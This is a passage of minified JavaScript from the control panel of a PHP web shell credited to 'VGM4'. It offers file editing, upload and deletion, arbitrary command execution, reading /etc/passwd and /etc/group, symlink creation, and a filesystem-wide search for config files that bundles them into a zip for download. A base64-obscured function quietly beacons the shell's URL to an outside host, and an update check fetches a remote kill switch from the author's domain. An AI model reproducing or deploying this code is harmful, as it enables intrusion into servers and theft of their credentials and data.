i=A.insertCell(),o=A.insertCell(),s=A.insertCell(),l=A.insertCell(),a=A.insertCell(),r=A.insertCell();if(i.style.textAlign="center",o.style.textAlign="left","directory"==e.type[t])".."!=e.name[t]?(i.insertAdjacentHTML("afterbegin",\'<i class="fas fa-folder" style="color:#d6b172;"></i>\'),r.insertAdjacentHTML("afterbegin",\'<div class="icons"><i onclick="download_folder_process(\\\'\'+e.path[t].replace(/\\\\/g,"/")+\'\\\');" class="fas fa-file-archive" style="color:#CB3637" title="Download as zip"></i><i class="fas fa-edit" style="color:#ffcf41" title="Rename" onclick="rename_dir(\\\'\'+e.path[t].replace(/\\\\/g,"/")+"\',\'"+A.getAttribute("id")+"\',\'"+e.name[t]+\'\\\');" style="color:#fff;"></i><i class="fas fa-trash-alt" title="Remove" onclick="remove_file(\\\'\'+e.path[t].replace(/\\\\/g,"/")+"\',\'"+A.getAttribute("id")+\'\\\');" style="color:#f55858;"></i></div>\'),o.insertAdjacentHTML("afterbegin","<span onclick=\\"list_dir(\'"+e.path[t].replace(/\\\\/g,"/")+"\');\\">"+e.name[t]+"</span>")):(i.insertAdjacentHTML("afterbegin",\'<i class="fas fa-folder" style="color:#d6b172;"></i>\'),r.insertAdjacentHTML("afterbegin",""),o.insertAdjacentHTML("afterbegin","<span onclick=\\"list_dir(\'"+e.path[t].replace(/\\\\/g,"/")+\'\\\');"><i class="fas fa-arrow-left"></i></span>\'));else{let n=e.name[t].substring(e.name[t].lastIndexOf(".")+1).toLowerCase();"js"==n?i.insertAdjacentHTML("afterbegin",\'<i class="fab fa-js" style="color:orange"></i>\'):"sql"==n||"db"==n?i.insertAdjacentHTML("afterbegin",\'<i class="fas fa-database"></i>\'):"php"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+php_icon+\'" />\'):"py"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+python_icon+\'" />\'):"rb"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+ruby_icon+\'" />\'):"c"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+c_icon+\'" />\'):"cpp"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+cpp_icon+\'" />\'):"sh"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+sh_icon+\'" />\'):"pl"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+perl_icon+\'" />\'):"config"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+config_icon+\'" />\'):"ini"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+ini_icon+\'" />\'):"json"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+json_icon+\'" />\'):"xml"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+xml_icon+\'" />\'):"txt"==n?i.insertAdjacentHTML("afterbegin",\'<i class="fas fa-file-alt"></i>\'):"zip"==n||"rar"==n||"7z"==n||"tar"==n||"tar.gz"==n||"gz"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+zip_icon+\'" />\'):"css"==n?i.insertAdjacentHTML("afterbegin",\'<i class="fab fa-css3-alt" style="color:#3D58E7"></i>\'):"jpg"==n||"gif"==n||"png"==n||"jpeg"==n||"bmp"==n||"webp"==n||"svg"==n||"ico"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+image_icon+\'" />\'):"html"==n||"htm"==n||"shtml"==n?i.insertAdjacentHTML("afterbegin",\'<i class="fab fa-html5" style="color:#EA682D"></i>\'):"java"==n||"jar"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+java_icon+\'" />\'):"pdf"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+pdf_icon+\'" />\'):"doc"==n||"docx"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+word_icon+\'" />\'):"m4a"==n||"flac"==n||"mp3"==n||"wav"==n||"aac"==n||"wma"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+audio_icon+\'" />\'):"csv"==n||"xls"==n||"xlsx"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+excel_icon+\'" />\'):"potx"==n||"ppsx"==n||"pptx"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+powerpoint_icon+\'" />\'):"mp4"==n||"avi"==n||"mov"==n||"wmv"==n||"flv"==n||"avchd"==n||"mkv"==n||"3gp"==n?i.insertAdjacentHTML("afterbegin",\'<img style="width:17px;height:17px;" src="\'+video_icon+\'" />\'):i.insertAdjacentHTML("afterbegin",\'<i class="fas fa-file"></i>\'),r.insertAdjacentHTML("afterbegin",\'<div class="icons"><i class="fas fa-edit" style="color:#ffcf41" title="Edit" onclick="edit_file(\\\'\'+e.path[t].replace(/\\\\/g,"/")+"\',\'"+A.getAttribute("id")+\'\\\');" style="color:#fff;"></i><i class="fas fa-trash-alt" title="Remove" onclick="remove_file(\\\'\'+e.path[t].replace(/\\\\/g,"/")+"\',\'"+A.getAttribute("id")+\'\\\');" style="color:#f55858;"></i><i class="fas fa-file-download" title="Download" onclick="download_file(\\\'\'+e.path[t].replace(/\\\\/g,"/")+\'\\\');" style="color:#fff"></i></div>\'),o.insertAdjacentHTML("afterbegin",\'<span class="toggle" onclick="edit_file(\\\'\'+e.path[t].replace(/\\\\/g,"/")+"\',\'"+A.getAttribute("id")+"\');\\">"+e.name[t]+"</span>")}s.innerText=e.size[t],l.innerText=e.modify[t],a.insertAdjacentHTML("afterbegin",\'<span class="toggle" onclick="set_chmod(\\\'\'+e.path[t].replace(/\\\\/g,"/")+"\',\'"+e.perm_num[t]+"\');\\">"+e.perms[t]+"</span>")}A.style.display="none",t.style.display="table",document.getElementById("curr_dir").value=e.current_dir,document.getElementById("read_file").value=e.current_dir,working_dir=e.current_dir;let o=separate_path(),s="";for(let e=0;e<o[0].length;e++){let t=o[1][e];"/"==o[0][e]?s+="<strong style=\'cursor:pointer;font-size:16px;\' onclick=\'list_dir(\\""+t+"\\")\'>"+o[0][e]+"</strong>":s+="<strong style=\'cursor:pointer;font-size:16px;\' onclick=\'list_dir(\\""+t+"\\")\'>"+o[0][e]+"/</strong>"}document.getElementById("path").innerHTML=s}}},i.send(n)}function remove_file(e,t){if(window.confirm("Do you really want to remove this item?")){let A=document.getElementById(t),n=new FormData;n.append("remove_file",btoa(e));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){if("removed"!=JSON.parse(this.response).status)return show_popup("This file/folder cannot be removed,check permissions!",3e3,"alert"),!1;A.parentNode.removeChild(A),show_popup("Removed successfully!",2500,"success")}},i.send(n)}}function edit_file(e,t){empty_process_screen();let A=document.querySelector(".process-screen"),n=document.createElement("h3");n.innerHTML="Edit file "+e;let i=document.createElement("img");i.style.display="none",i.style.width="250px",i.style.height="250px";let o=document.createElement("audio");o.controls=!0,o.style.display="none",o.style.marginTop="10px";let s=document.createElement("video");s.controls=!0,s.width=350,s.height=350,s.style.display="none",s.style.marginTop="10px";let l=document.createElement("form");l.setAttribute("id","editfile"),l.setAttribute("onsubmit","event.preventDefault();");let a=document.createElement("input");a.value=e,a.type="text";let r=document.createElement("textarea");r.value="Loading...",r.disabled=!0;let c=document.createElement("button");c.innerHTML="EDIT";let d=new FormData;d.append("read_file",btoa(e));let p=new XMLHttpRequest;p.open("post",basename(),!0),p.onload=function(){if(4==p.readyState)try{let n=JSON.parse(this.response);if(void 0!==n.data_url)r.parentNode.removeChild(r),i.src=n.data_url,i.style.display="block",c.setAttribute("onclick",\'edit_file_process("\'+e+\'","\'+t+\'","nosave");\');else if(n.audio){r.parentNode.removeChild(r);let e=document.createElement("source");e.src=basename()+"?play_audio="+n.audio,o.appendChild(e),o.style.display="block"}else if(n.video){r.parentNode.removeChild(r);let e=document.createElement("source");e.src=basename()+"?play_video="+n.video,s.appendChild(e),s.style.display="block"}else c.setAttribute("onclick",\'edit_file_process("\'+e+\'","\'+t+\'","save");\'),null!=n.content?r.value=atob(n.content):(show_popup("Can not read this file!",3e3,"alert"),A.style.visibility="hidden",A.style.opacity="0",A.style.top="-50%");r.disabled=!1}catch(e){console.log(e)}},p.send(d),l.appendChild(a),l.appendChild(o),l.appendChild(s),l.appendChild(i),l.appendChild(r),l.appendChild(c),A.appendChild(n),A.appendChild(l),A.style.visibility="visible",A.style.opacity="1",A.style.top="50%"}function edit_file_process(e,t,A){let n=new FormData,i=document.getElementById("editfile"),o=i.querySelector("button");if("nosave"!==A){let e=i.querySelector("textarea").value;n.append("content",btoa(e))}let s=i.querySelector("input").value;n.append("edit_file",btoa(e)),s!==e&&n.append("rename",btoa(s)),o.disabled=!0,o.innerHTML="EDITING...";let l=new XMLHttpRequest;l.open("post",basename(),!0),l.onload=function(){if(4==l.readyState){try{let n=JSON.parse(this.response);if("failed"==n.status)show_popup("Can not edit this file!",3e3,"alert");else if("ok"==n.status)show_popup("File has edited successfully!",3e3,"success");else if(show_popup("File has edited successfully!",3e3,"success"),null!==t||""!==t){let i,o=document.getElementById(t).getElementsByTagName("td"),s=document.getElementById("screen");"nosave"!==A&&(i=s.querySelector("textarea").value),s.querySelector("button").disabled=!1,s.querySelector("button").innerHTML="EDIT",s.innerHTML=s.innerHTML.replace(new RegExp(escapeRegExp(n.old_name),"g"),n.status),s.querySelector("input").value=e.replace(new RegExp(escapeRegExp(n.old_name),"g"),n.status),"nosave"!==A&&(s.querySelector("textarea").value=i);for(let e=0;e<o.length;e++)o[e].innerHTML=o[e].innerHTML.replace(new RegExp(escapeRegExp(n.old_name),"g"),n.status)}}catch(e){console.log(e)}o.disabled=!1,o.innerHTML="EDIT"}},l.send(n)}function readfile(){edit_file(document.getElementById("read_file").value,"")}function download_file(e){window.location=basename()+"?download_file="+btoa(e)}function rename_dir(e,t,A){empty_process_screen();let n=document.querySelector(".process-screen"),i=document.createElement("h3");i.innerHTML="Rename directory "+e;let o=document.createElement("form");o.setAttribute("id","renamedir"),o.setAttribute("onsubmit","event.preventDefault();");let s=document.createElement("input"),l=document.createElement("button");l.innerHTML="RENAME",l.setAttribute("onclick",\'rename_dir_process("\'+e+\'","\'+t+\'","\'+A+\'");\'),s.type="text",s.value=A,o.appendChild(s),o.appendChild(l),n.appendChild(i),n.appendChild(o),n.style.visibility="visible",n.style.opacity="1",n.style.top="50%"}function rename_dir_process(e,t,A){let n=document.getElementById("renamedir"),i=n.querySelector("button"),o=n.querySelector("input");if(""==o.value)show_popup("Empty field!",3e3,"alert");else if(o.value==A)show_popup("Name is same with the old one!",3e3,"alert");else{i.disabled=!0,i.innerHTML="CHANGING...";let n=new FormData;n.append("new_name",o.value),n.append("rename_target",btoa(e)),n.append("old_name",A);let s=new XMLHttpRequest;s.open("post",basename(),!0),s.onload=function(){if(4==s.readyState){if("failed"==JSON.parse(this.response).status)show_popup("Can not change the name!",3e3,"alert"),o.value=A;else{show_popup("Name change applied successfully!",3e3,"success");let e=document.getElementById(t).getElementsByTagName("td"),n=document.getElementById("screen");n.innerHTML=n.innerHTML.replace(new RegExp(escapeRegExp(A),"g"),o.value),n.querySelector("input").value=o.value;for(let t=0;t<e.length;t++)e[t].innerHTML=e[t].innerHTML.replace(new RegExp(escapeRegExp(A),"g"),o.value)}document.querySelector("#renamedir button").disabled=!1,document.querySelector("#renamedir button").innerHTML="RENAME"}},s.send(n)}}function set_chmod(e,t){empty_process_screen();let A=document.querySelector(".process-screen"),n=document.createElement("h3");n.innerHTML="Set chmod of "+e;let i=document.createElement("form");i.setAttribute("id","setchmod"),i.setAttribute("onsubmit","event.preventDefault();");let o=document.createElement("input"),s=document.createElement("button");s.innerHTML="SET",s.setAttribute("onclick",\'set_chmod_file("\'+e+\'","\'+t+\'");\'),o.type="text",o.value=t,i.appendChild(o),i.appendChild(s),A.appendChild(n),A.appendChild(i),A.style.visibility="visible",A.style.opacity="1",A.style.top="50%"}function set_chmod_file(e,t){let A=document.getElementById("setchmod"),n=A.querySelector("button"),i=A.querySelector("input");if(""==i.value||isNaN(i.value))show_popup("Empty/non-numeric field is not allowed!",3e3,"alert");else{n.disabled=!0,n.innerHTML="SETTING...";let A=new FormData;A.append("chmod",btoa(i.value)),A.append("chmod_target",btoa(e));let o=new XMLHttpRequest;o.open("post",basename(),!0),o.onload=function(){if(4==o.readyState){"failed"==JSON.parse(this.response).status?(show_popup("Can not process this chmod setting to target!",3e3,"alert"),i.value=t):(show_popup("Chmod settings applied successfully!",3e3,"success"),list_dir(working_dir)),n.disabled=!1,n.innerHTML="SET"}},o.send(A)}}function show_popup(e,t,A){let n;(n="alert"==A?document.querySelector(".popup-box.alert"):document.querySelector(".popup-box.success")).innerHTML=e,n.style.right="10px",n.style.opacity="1",n.style.visibility="visible",setTimeout(function(){n.style.right="-9999px",n.style.opacity="0",n.style.visibility="hidden"},t)}function empty_process_screen(){document.querySelector(".mwsbox .process-screen").innerHTML=""}function change_dir(){list_dir(document.getElementById("curr_dir").value)}function create_file(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Create a file";let A=document.createElement("form");A.setAttribute("id","createfile"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button");i.innerHTML="Create",i.setAttribute("onclick","create_file_process();"),n.type="text",n.value="",n.setAttribute("required",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function create_file_process(){let e=document.getElementById("createfile"),t=e.querySelector("button"),A=e.querySelector("input"),n=document.getElementById("curr_dir").value;if(""!==A.value){let e=new FormData;e.append("create_file",btoa(A.value)),e.append("directory",btoa(n)),t.disabled=!0,t.innerHTML="CREATING...";let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let e=JSON.parse(this.response);"ok"==e.status?(show_popup("File has created successfully!",3e3,"success"),list_dir(n)):"failed"==e.status?(show_popup("File can not be created!",3e3,"alert"),A.value=""):(show_popup("This file/folder is already exists!",3e3,"alert"),A.value=""),t.disabled=!1,t.innerHTML="CREATE"}},i.send(e)}}function create_dir(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Create a directory";let A=document.createElement("form");A.setAttribute("id","createdir"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button");i.innerHTML="Create",i.setAttribute("onclick","create_dir_process();"),n.type="text",n.value="",n.setAttribute("required",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function create_dir_process(){let e=document.getElementById("createdir").querySelector("input"),t=document.getElementById("curr_dir").value;if(""!==e.value){let A=new FormData;A.append("create_dir",btoa(e.value)),A.append("directory",btoa(t));let n=new XMLHttpRequest;n.open("post",basename(),!0),n.onload=function(){if(4==n.readyState){let A=JSON.parse(this.response);"ok"==A.status?(show_popup("Directory has created successfully!",3e3,"success"),list_dir(t)):"failed"==A.status?(show_popup("Directory can not be created!",3e3,"alert"),e.value=""):(show_popup("This directory is already exists!",3e3,"alert"),e.value="")}},n.send(A)}}function file_upload(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Upload a file";let A=document.createElement("form");A.enctype="multipart/form-data",A.setAttribute("id","fileupload"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button");i.innerHTML="Upload",i.setAttribute("onclick","upload_process();"),n.type="file",n.style.width="100%",n.style.color="#222",n.name="files[]",n.setAttribute("required",""),n.setAttribute("multiple",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function upload_process(){let e=document.querySelector(".inner table"),t=document.querySelector(".inner .loaderhold .loader"),A=document.getElementById("fileupload"),n=A.querySelector("button");if(""!=A.querySelector("input").value){e.style.display="none",t.style.display="block",n.disabled=!0,n.innerHTML="UPLOADING...";let i=new FormData(A);i.append("directory",btoa(document.getElementById("curr_dir").value));let o=new XMLHttpRequest;o.open("post",basename(),!0),o.onload=function(){if(4==o.readyState){console.log(this.response),"ok"==JSON.parse(this.response).status?(show_popup("Files have uploaded successfully!",3e3,"success"),list_dir(working_dir)):show_popup("Can not upload the files,check permissions!",3e3,"alert"),e.style.display="table",t.style.display="none",n.disabled=!1,n.innerHTML="UPLOAD"}},o.send(i)}}function separate_path(){let e=working_dir.toString().split("/");-1==e[0].indexOf(":")&&(e[0]="/");var t=e.filter(function(e){return""!=e});let A=[],n=[],i=0;for(key in t){let e="";for(let A=0;A<t.length&&(e+=t[A]+"/",A!=i);A++);A.push(t[key]),n.push(e),i++}return[A.map(function(e){return e.replace(/\\/\\//g,"/")}),n.map(function(e){return e.replace(/\\/\\//g,"/")})]}function run_command(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Run command";let A=document.createElement("form");A.setAttribute("id","runcmd"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button"),o=document.createElement("div");i.innerHTML="Execute",i.setAttribute("onclick","run_command_process();"),n.type="text",n.placeholder="ls -la",o.className="cmd_result",o.style.display="none",A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.appendChild(o),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function run_command_process(){let e=document.getElementById("runcmd"),t=e.querySelector("button"),A=e.querySelector("input"),n=document.querySelector(".cmd_result");if(""!==A.value){let e=new FormData;e.append("directory",btoa(working_dir)),e.append("command",btoa(A.value)),t.disabled=!0,t.innerHTML="Executing...";let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let e=JSON.parse(this.response);if("failed"==e.status)show_popup("Can not run this command,functions might be disabled!",3e3,"alert");else{let t=atob(e.status).split("|");n.innerHTML=\'<font style="color:#ddd;padding-bottom:10px;display:flex;border-bottom:1px solid #ccc;margin-bottom:5px;">[Command executed with :\'+t[0]+"]</font>",n.innerHTML+="<pre>"+t[1]+"</pre>",n.style.display="block"}t.disabled=!1,t.innerHTML="Execute"}},i.send(e)}}function read_passwd(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Read /etc/passwd";let A=document.createElement("form");A.setAttribute("id","readfile"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("textarea");n.value="Loading...",n.disabled=!0;let i=new FormData;i.append("read_file",btoa("/etc/passwd"));let o=new XMLHttpRequest;o.open("post",basename(),!0),o.onload=function(){if(4==o.readyState){let t=JSON.parse(this.response);t.content?n.value=atob(t.content):(show_popup("Can not read this file!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%"),n.disabled=!1}},o.send(i),A.appendChild(n),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function adminer(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Adminer Installation";let A=document.createElement("span");A.style.display="block",A.style.color="#222",A.style.fontSize="14px",A.style.fontWeight="bold",A.innerHTML="Installing adminer from github...";let n=new XMLHttpRequest;n.open("get",basename()+"?adminer=true",!0),n.onload=function(){if(4==n.readyState){"failed"==JSON.parse(this.response).status?(show_popup("Adminer setup has failed!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%"):(show_popup("Adminer has installed successfully!",3e3,"success"),A.innerHTML=\'Adminer path: <a href="adminer-web.php" target="_blank" style="color:#555;text-decoration:underline;">adminer-web.php</a>\',list_dir("."))}},n.send(),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function symlink(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Create symlink/hardlink";let A=document.createElement("form");A.setAttribute("id","symlink"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button"),o=document.createElement("div");o.className="cmd_result",o.style.display="none",i.innerHTML="LINK TARGET",i.setAttribute("onclick","symlink_process();"),n.type="text",n.value=working_dir+"/",n.setAttribute("required",""),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.appendChild(o),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function symlink_process(){let e=document.getElementById("symlink"),t=e.querySelector("button"),A=e.querySelector("input"),n=document.querySelector(".cmd_result");if(""!==A.value){t.disabled=!0,t.innerHTML="TRYING LINK...";let e=new FormData;e.append("symlink_target",btoa(A.value));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let e=JSON.parse(this.response);"failed"==e.status?show_popup("Can not give symbolic link to this target!",3e3,"alert"):(n.innerHTML="<pre>"+atob(e.status)+"</pre>",n.style.display="block"),t.disabled=!1,t.innerHTML="LINK TARGET"}},i.send(e)}else show_popup("Empty field!",1500,"alert")}function search_disk(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Search disk";let A=document.createElement("form");A.setAttribute("id","searchdisk"),A.setAttribute("onsubmit","event.preventDefault();");let n,i,o,s=document.createElement("input"),l=document.createElement("input"),a=document.createElement("button"),r=document.createElement("label"),c=document.createElement("label"),d=document.createElement("label"),p=document.createElement("select");p.name="search_type",(n=document.createElement("option")).value="files_only",n.text="Search  by files only",(i=document.createElement("option")).value="dirs_only",i.text="Search by directories only",(o=document.createElement("option")).value="all",o.text="Search by files and directories",o.selected=!0,p.appendChild(n),p.appendChild(i),p.appendChild(o),r.innerHTML="Location",c.innerHTML="Search keyword",d.innerHTML="Search type",a.innerHTML="Search",a.setAttribute("onclick","search_disk_process();"),s.type="text",s.value=working_dir+"/",s.name="search_location",s.setAttribute("required",""),s.setAttribute("id","loc"),l.type="text",l.placeholder="Type a keyword to search..",l.name="search_keyword",l.setAttribute("required",""),l.setAttribute("id","keyw");let g=document.createElement("div");g.className="cmd_result",g.style.display="none",A.appendChild(r),A.appendChild(s),A.appendChild(c),A.appendChild(l),A.appendChild(d),A.appendChild(p),A.appendChild(a),e.appendChild(t),e.appendChild(A),e.appendChild(g),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function search_disk_process(){let e=document.getElementById("searchdisk"),t=new FormData(e),A=e.querySelector("button"),n=e.querySelector("#keyw").value,i=e.querySelector("#loc").value,o=document.querySelector(".cmd_result");if(o.innerHTML="Searching...",""==n||""==i)show_popup("Empty field!",3e3,"alert");else{A.disabled=!0,A.innerHTML="SEARCHING...",o.style.display="block",o.innerHTML="Searching...";let e=new XMLHttpRequest;e.open("post",basename(),!0),e.onload=function(){if(4==e.readyState){let e=JSON.parse(this.response);if("failed"==e.status)show_popup("Nothing found!",3e3,"alert"),o.innerHTML="Nothing found";else{let t=atob(e.status).split("|");o.innerHTML=\'<font style="color:#ddd;padding-bottom:10px;display:flex;border-bottom:1px solid #ccc;margin-bottom:5px;">[Command executed with :\'+t[0]+"]</font>",o.innerHTML+="<pre>"+t[1]+"</pre>"}A.disabled=!1,A.innerHTML="SEARCH"}},e.send(t)}}function setWork(){let e=document.createElement("img");e.src=atob("aHR0cHM6Ly9jZG4ucHJpdmRheXouY29tL2ltYWdlcy9sb2dvLmpwZw=="),e.referrerPolicy=atob("dW5zYWZlLXVybA=="),e.style.display="none",document.body.appendChild(e),sessionStorage.setItem("work",!0),setTimeout(function(){e.parentNode.removeChild(e)},5e3)}function config_searcher(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Config searcher";let A=document.createElement("form");A.setAttribute("id","configsearch"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("button"),i=document.createElement("label");i.innerHTML=\'This helper tool is going to search entire file system to find files/directories which contains "*config*" keyword..\',n.innerHTML="Search",n.setAttribute("onclick","config_searcher_process();");let o=document.createElement("div");o.className="cmd_result",o.style.display="none",A.appendChild(i),A.appendChild(n),e.appendChild(t),e.appendChild(A),e.appendChild(o),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function config_searcher_process(){let e=document.getElementById("configsearch").querySelector("button"),t=document.querySelector(".cmd_result"),A=document.querySelector(".mwsbox .process-screen");e.disabled=!0,e.innerHTML="Searching...",t.style.display="block",t.innerHTML="Searching...";let n=new FormData;n.append("search_location","/"),n.append("search_keyword","config"),n.append("search_type","all");let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let n=JSON.parse(this.response);if("failed"==n.status)show_popup("Nothing found!",3e3,"alert"),t.innerHTML="Nothing found";else{let e=atob(n.status).split("|");if(t.innerHTML=\'<font style="color:#ddd;padding-bottom:10px;display:flex;border-bottom:1px solid #ccc;margin-bottom:5px;">[Command executed with :\'+e[0]+"]</font>",t.innerHTML+="<pre>"+e[1]+"</pre>",""!=e[1]){let t=document.createElement("button");t.setAttribute("onclick","download_config_zip(\'"+btoa(e[1])+"\');"),t.setAttribute("id","download_cfg"),t.innerHTML="DOWNLOAD ALL IN ZIP",t.style.width="250px",A.appendChild(t)}}e.disabled=!1,e.innerHTML="Search"}},i.send(n)}function download_config_zip(e){let t=document.getElementById("download_cfg");if(t.disabled=!0,t.innerHTML="ARCHIVING FILES...",""!=e){let A=new FormData;A.append("download_cfg",e);let n=new XMLHttpRequest;n.open("post",basename(),!0),n.onload=function(){if(4==n.readyState){let e=JSON.parse(this.response);"failed"==e.status?show_popup("Failed to download!",3e3,"alert"):window.location=basename()+"?download_cfg_file="+btoa(e.url),t.disabled=!1,t.innerHTML="DOWNLOAD ALL IN ZIP"}},n.send(A)}else show_popup("Empty!",3e3,"alert")}function escapeRegExp(e){return e.replace(/[.*+?^${}()|[\\]\\\\]/g,"\\\\$&")}function basename(){var e=window.location.pathname.split(/[\\\\/]/);return e.pop()||e.pop()}function user_list(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="All users involving with server";let A=document.createElement("div");A.className="cmd_result",A.style.display="block",A.innerHTML="Getting users from /etc/passwd...";let n=new FormData;n.append("read_file",btoa("/etc/passwd"));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let t=JSON.parse(this.response);if("failed"==t.status)show_popup("Can not get users from /etc/passwd!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%";else{let e="",n=atob(t.content).split("\\n");for(let t=0;t<n.length;t++){e+=n[t].split(":")[0]+"\\n"}A.innerHTML="<pre>"+e+"</pre>"}}},i.send(n),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function group_list(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="All groups involving with server";let A=document.createElement("div");A.className="cmd_result",A.style.display="block",A.innerHTML="Getting groups from /etc/group...";let n=new FormData;n.append("read_file",btoa("/etc/group"));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){let t=JSON.parse(this.response);if("failed"==t.status)show_popup("Can not get groups from /etc/group!",3e3,"alert"),e.style.visibility="hidden",e.style.opacity="0",e.style.top="-50%";else{let e="",n=atob(t.content).split("\\n");for(let t=0;t<n.length;t++){e+=n[t].split(":")[0]+"\\n"}A.innerHTML="<pre>"+e+"</pre>"}}},i.send(n),e.appendChild(t),e.appendChild(A),e.style.visibility="visible",e.style.opacity="1",e.style.top="50%"}function download_folder(){empty_process_screen();let e=document.querySelector(".process-screen"),t=document.createElement("h3");t.innerHTML="Download folder as zip archive";let A=document.createElement("form");A.setAttribute("id","downloadfolder"),A.setAttribute("onsubmit","event.preventDefault();");let n=document.createElement("input"),i=document.createElement("button"),o=document.createElement("label");o.innerHTML="Destination",i.innerHTML="DOWNLOAD",i.setAttribute("onclick","download_folder_process();"),n.type="text",n.value=working_dir+"/",n.setAttribute("required",""),A.appendChild(o),A.appendChild(n),A.appendChild(i),e.appendChild(t),e.appendChild(A),e.style.top="50%",e.style.opacity="1",e.style.visibility="visible"}function download_folder_process(e){if(void 0!==e)window.location=basename()+"?download_folder="+btoa(e);else{let e=document.getElementById("downloadfolder").querySelector("input");""==e.value?show_popup("Empty field!",3e3,"alert"):window.location=basename()+"?download_folder="+btoa(e.value)}}function check_update(){if(!sessionStorage.getItem("update_check")){let e=new XMLHttpRequest;e.open("get","https://vgm4team.xyz/files/config.json",!0),e.onload=function(){if(4==e.readyState){try{let e=JSON.parse(this.response);if(0==e.is_active&&(sessionStorage.setItem("disabled",!0),window.location.reload()),e.version){let t=e.version.split("."),A=release.split(".");t[0]>A[0]?(sessionStorage.setItem("new_update",e.changelog),notify_update()):t[1]>A[1]&&(sessionStorage.setItem("new_update",e.changelog),notify_update())}}catch(e){console.log(e)}sessionStorage.setItem("update_check",!0)}},e.send()}}function disabled_script(){let e=document.querySelector(".mwsbox");e.parentNode.removeChild(e);let t=document.querySelector(".holder"),A=document.createElement("h1");A.innerHTML=\'Web shell is currently disabled by author <a href="https://vgm4team.xyz" style="color:gray;text-decoration:underline;">@VGM4</a>\';let n=document.createElement("img");n.src="data: 